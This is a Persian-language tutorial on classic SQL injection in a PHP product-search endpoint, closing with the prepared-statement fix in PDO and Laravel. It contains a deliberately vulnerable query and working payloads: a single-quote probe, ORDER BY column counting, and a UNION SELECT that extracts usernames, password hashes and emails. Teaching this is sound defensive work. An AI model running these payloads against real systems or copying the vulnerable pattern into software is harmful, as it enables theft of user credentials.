SQL Injection کلاسیک در فیلتر جستوجوی محصولات (بایپس با UNION)
یک endpoint جستوجو که پارامتر ورودی را مستقیم داخل کوئری خام میچسباند؛ از UNION SELECT برای استخراج جدول کاربران و هش رمزها استفاده میشود.
این کد نمونهی یک endpoint جستوجوی محصول در یک برنامهی PHP (بدون ORM) است که پارامتر q را بدون پارامتربندی مستقیم در کوئری SQL میچسباند:
// routes/search.php — نسخهی آسیبپذیر
$q = $_GET['q'] ?? '';
$sql = "SELECT id, name, price FROM products WHERE name LIKE '%$q%'";
$result = $pdo->query($sql);
شناسایی
اولین تست همیشه یک کوئوت تکی است:
GET /search?q=laptop' -> خطای SQL syntax در پاسخ (یا تفاوت رفتار نسبت به ورودی سالم)
وقتی خطا یا تغییر رفتار مشاهده شد، تعداد ستونهای کوئری اصلی را با ORDER BY پیدا میکنیم:
q=laptop' ORDER BY 1-- -
q=laptop' ORDER BY 4-- - <- اینجا خطا میدهد، پس کوئری ۳ ستون دارد
استخراج داده با UNION
حالا که تعداد ستونها مشخص است (۳)، یک UNION SELECT برای خواندن جدول users میسازیم:
q=xyz' UNION SELECT username, password, email FROM users-- -
نتیجه: بهجای لیست محصولات، ردیفهایی از نامکاربری + هش رمز عبور + ایمیل کاربران واقعی در خروجی جستوجو نمایش داده میشود — بدون نیاز به هیچ احراز هویتی، چون endpoint جستوجو عمومی است.
چرا این اتفاق افتاد
ورودی کاربر هیچوقت نباید مستقیم بخشی از متن کوئری SQL شود. اینجا $q بدون escape و بدون prepared statement وارد رشتهی SQL شده.
راهحل درست (Prepared Statement)
$stmt = $pdo->prepare('SELECT id, name, price FROM products WHERE name LIKE ?');
$stmt->execute(['%' . $q . '%']);
$result = $stmt->fetchAll();
در Laravel معادل امن همین کار با Eloquent/Query Builder است (که بهصورت پیشفرض parameter binding دارد):
Product::where('name', 'like', '%' . $q . '%')->get();